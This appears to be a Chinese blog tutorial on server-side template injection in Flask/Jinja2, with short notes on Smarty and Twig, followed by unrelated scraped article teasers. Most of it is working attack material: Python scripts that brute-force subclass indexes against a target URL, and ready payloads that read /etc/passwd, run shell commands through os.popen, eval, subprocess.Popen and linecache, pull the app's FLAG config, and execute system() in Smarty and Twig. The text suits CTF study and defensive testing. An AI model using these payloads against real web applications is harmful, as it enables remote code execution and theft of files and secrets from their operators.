python flask Jinja2模板学习

分类很好的一篇文章

Jinja2模板语法 

Jinja2里常见的三种定界符:

  • (1) 语句 {% ... %}
  • (2) 表达式 {{ ... }}
  • (3) 注释 {# ... #}
   {%set a='dazhaung'%}   语句设置变量{{a}}            表达式{% if 2>1 %}控制语句以{%endif%}结尾

Jinja2支持使用“.”获取变量的属性,比如user字典中的username键值通过“.”获取,即user.username 等同于 user['username']。 


python 类的基础知识

所有类的最终父类都是object,漏洞是通过找到父类下的执行函数命令执行

魔法方法

__class__ 查找当前类型的所属对象

__base__ 沿着父子类的关系往上走一个

__mro__ 查找当前类对象的所有继承类

__subclasses__() 查找父类下的所有子类

__init__ 查看类是否重载,重载实质程序运行是就已经加载好了这个模块到内存中,如果出现wrapper,说明没有重载

__globals__ 函数会以字典形式返回当前对象的全部全局变量

__builtins__提供对python的所有内置标识符的直接访问

eval计算字符串表达式的值

popen()执行一个shell以运行命令

一、文件读取 多配合pin码 

step1:脚本读取 _frozen_importlib_external.FileLoader

import requests
url = input('请输入 URL : ')
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if '_frozen_importlib_external.FileLoader' in response.text:print(i)

step2: 直接利用其 get_data() 函数即可。

get_data() 利用时第一个参数为 0 ,第二个参数为文件路径即可。

0:这是一个参数,表示要加载的文件的模块名称。在这里,0 表示没有特定的模块名称,而是直接指定文件路径。

name={{().__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")}}

二、RCE 远程代码执行

1. 利用含有内建函数eval的__builtins__  模块执行命令

内建函数:python 在执行脚本时自动加载的函数,可通过 __builtins__ 进行直接访问

step1: 脚本查找首可以利用内建函数 eval 的模块: 

import requests
url = input("请输入 URL:")
for i in range(500):# payload 中需要先初始化再列出所有全局变量data = {"name": "{{().__class__.__base__.__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"}response = requests.post(url, data=data)if response.status_code == 200:if "eval" in response.text:print(i)

step2: 利用内建函数 __builtins__寻找eval() 和 popen() 或者file 执行系统命令

利用内嵌函数eval进行命令执行
name={{().__class__.__base__.__subclasses__()[66].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}利用file函数进行读取
{{''.__class__.__mro__[2].__subclasses__()[xx].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()}}

2. os 模块执行系统命令  hackbar里边都有 

2.1 在 flask 其他函数中直接调用 os 模块(flask 内嵌)

  • 通过 config
  • {{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}
    
  • 通过 url_for()
{{url_for.__globals__.os.popen('ls').read()}}
等价于
{{url_for.__globals__['os'].popen('ls').read()}}注意区别 os是__globals__中的一个模块,可以用字典引用,而popen('ls')中ls是参数不能用 .ls替换
  • 通过 lipsum()
{{lipsum.__globals__.os.popen('cat flag').read()}}

 2.2 在已经加载 os 模块的子类里直接调用 os 模块

(1)寻找含有 os 模块的类
step1: 脚本查找含有os的类

老规矩,先用脚本查找哪些子类已经加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}response = requests.post(url, data=data)if response.status_code == 200:if "os.py" in response.text:print(i)

 step2: 构造 payload

{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls -l /opt").read()}}
(2) linecache 函数执行命令

linecache 函数用于读取一个文件的某一行。这个函数加载了 os 模块,因此可以用来执行命令。

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}response = requests.post(url, data=data)if response.status_code == 200:if "linecache" in response.text:print(i){{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"]["os"].popen("ls -l /").read()}}
# 等价于
{{().__class__.__base__.__subclasses__()[191].__init__.__globals__["linecache"].os.popen("ls -l /").read()}}

3.其他

 读取配置文件中的FLAG 

{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

 利用warnings.catch_warnings 进行命令执行 

[c for c in ().__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').popen('whoami').read()
4.寻找类加载os的类来执行os
(1)importlib 类执行命令

可使用该类的 load_module 方法加载 os 模块

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if "_frozen_importlib.BuiltinImporter" in response.text:print(i)
step2: 构造 payload
{{''.__class__.__base__.__subclasses__()[69]["load_module"]("os")["popen"]("ls -l /opt").read()}}
注意这里的('os')是一个参数,意思是加餐os模块,不能用['os']或者.os.替换
(2) subprocess.Popen 类执行命令

subprocess 模块允许你生成新的进程,连接它们的输入、输出、错误管道,并且获取它们的返回码。此模块打算代替一些老旧的模块与功能:os.system os.spawn  

import requests
url = input("请输入 URL:")
for i in range(500):data = {"name": "{{().__class__.__base__.__subclasses__()[" + str(i) + "]}}"}response = requests.post(url, data=data)if response.status_code == 200:if "subprocess.Popen" in response.text:print(i){{''.__class__.__base__.__subclasses__()[200]('ls /',shell=True,stdout=-1).communicate()[0].strip()}}

常见的模板引擎有 

.php 常用的

Smarty

Smarty算是一种很老的PHP模板引擎了,非常的经典,使用的比较广泛

Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

Blade

Blade 是 Laravel 提供的一个既简单又强大的模板引擎。

和其他流行的 PHP 模板引擎不一样,Blade 并不限制你在视图中使用原生 PHP代码。所有 Blade 视图文件都将被编译成原生的 PHP 代码并缓存起来,除非它被修改,否则不会重新编译,这就意味着 Blade基本上不会给你的应用增加任何额外负担。

2.Java 常用的

JSP

这个引擎我想应该没人不知道吧,这个应该也是我最初学习的一个模板引擎,非常的经典

FreeMarker

FreeMarker是一款模板引擎:即一种基于模板和要改变的数据,并用来生成输出文本(HTML网页、电子邮件、配置文件、源代码等)的通用工具。它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

Velocity

Velocity作为历史悠久的模板引擎不单单可以替代JSP作为JavaWeb的服务端网页模板引擎,而且可以作为普通文本的模板引擎来增强服务端程序文本处理能力。

3.Python 常用的

Jinja2

flask jinja2 一直是一起说的,使用非常的广泛,是我学习的第一个模板引擎

django

django 应该使用的是专属于自己的一个模板引擎,我这里姑且就叫他 django,我们都知道django 以快速开发著称,有自己好用的ORM,他的很多东西都是耦合性非常高的,你使用别的就不能发挥出 django 的特性了

tornado

tornado 也有属于自己的一套模板引擎,tornado 强调的是异步非阻塞高并发

 

1.smarty模板注入常用标签

{php}:

Smarty支持使用{php}{/php}标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签

但是这个也是要分版本的,Smarty已经废弃{php}标签,强烈建议不要使用 

{}

直接输入php命令即可:
{system(‘ls’)}

 2.Twig模板注入 

// Jinja2
{{7*7}}
{{7*'7'}}    ->   7777777// Twig
{{7*7}}
{{7*'7'}}    ->    49payload:
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("ls")}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/247440.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

RflySim | 姿态控制器设计实验一

姿态控制器设计实验1 一. 姿态控制设计简介 本文是建立在多旋翼的姿态即控制器中的反馈信号能够被较好地估计的前提下,控制器中的反馈信号是估计值。不过,为了更加简便根据分离原理,我们用真值代替反馈信号。本文的目的是让多旋翼的姿态能够…

线性规划问题

线性规划问题: 将约束条件及目标函数都是决策变量的线性函数的规划问题称为线性规划问题 一般线性规划问题的描述: 为了解决这类问题,首先需要确定问题的决策变量:然后确定问题的目标,并将目标表示为决策变量的线性函数;最后找出问…

FL Studio 21.2.1.3859中文破解版及FL Studio怎么录制

FL Studio 21.2.1.3859中文破解版是一个数字音频工作站 (DAW)。该软件借助各种编辑工具、插件和效果,让您可以录制、混音和掌握高度复杂的音乐作品。FL Studio 21还允许您注册和编辑 MIDI 文件,您可以在众多可用乐器之一上演奏这些文件。FL Studio 拥有 …

如何安装Wnmp并结合内网穿透实现外网远程访问内网服务

文章目录 前言1.Wnmp下载安装2.Wnmp设置3.安装cpolar内网穿透3.1 注册账号3.2 下载cpolar客户端3.3 登录cpolar web ui管理界面3.4 创建公网地址 4.固定公网地址访问 前言 WNMP是Windows系统下的绿色NginxMysqlPHP环境集成套件包,安装完成后即可得到一个Nginx MyS…

从零开始学习 JS APL(五):完整指南和实例解析

目录 学习目标: 学习内容: 学习时间: 学习内容: Window对象: 定时器-延时函数: JS 执行机制: location对象: 本地存储: 本地存储分类- localStorage&#xff1a…

【latex笔记】双栏格式下插入单栏、双栏格式图片

双栏格式下插入单栏、双栏格式图片 1.缘起multicols2.双栏格式 插入单栏图片3.双栏格式 插入双栏图片 1.缘起multicols 插入双栏格式图片问题被困扰了有很长一段时间,查看网络资源也一直没找到解决方法,今天查看Latex官方文档,才发现因为mul…

【算法专题】前缀和

前缀和 前缀和1. 前缀和【模板】2. 二维前缀和【模板】3. 寻找数组的中心下标4. 除自身以外数组的乘积5. 和为K的子数组6. 和可被K整除的子数组7. 连续数组8. 矩阵区域和 前缀和 1. 前缀和【模板】 题目链接 -> Nowcoder -DP34.前缀和【模板】 Nowcoder -DP34.前缀和【模…

单片机系统

我们来看单片机 的例子,读者可能会担心单片机(又称MCU,或微控制器) 过于专业而无法理解。完全没必要!在这里我们仅借它谈论一下有关时间的话题,顺带提一下单片机系统的概念。 单片机顾名思义是集成到一个芯…

微信小程序 纯css画仪表盘

刚看到设计稿的时候第一时间想到的就是用canvas来做这个仪表盘&#xff0c;虽然本人的画布用的不是很好但还可以写一写&#x1f600;。话不多说直接上代码。最后有纯css方法 <!--wxml--> <canvas canvas-id"circle" class"circle" >// js dat…

经验分享|MySQL分区实战(RANGE)

概述 分区概述 在 MySQL 中&#xff0c; InnoDB存储引擎长期以来一直支持表空间的概念。在 MySQL 8.0 中&#xff0c;同一个分区表的所有分区必须使用相同的存储引擎。但是&#xff0c;也可以为同一 MySQL 服务器甚至同一数据库中的不同分区表使用不同的存储引擎。 通俗地讲…

学习php中使用composer下载安装firebase/php-jwt 以及调用方法

学习php中使用composer下载安装firebase/php-jwt 以及调用方法 1、安装firebase/php-jwt2、封装jwt类 1、安装firebase/php-jwt composer require firebase/php-jwt安装好以后出现以下文件: 2、封装jwt类 根据所使用的php框架&#xff0c;在指定目录创建 Token.php <?ph…

DevOps搭建(二)-VMware安装虚拟机详细步骤

1、下载Centos镜像 官方下载地址: Download 这里我们使用Centos7镜像 下载地址: Index of /centos/7.9.2009/isos/x86_64/ 2、设置固定IP 2.1、VMware的配置 首先打开编辑里面的 虚拟网络编辑器,如图: 进入更改设置之后,进行后面的操作,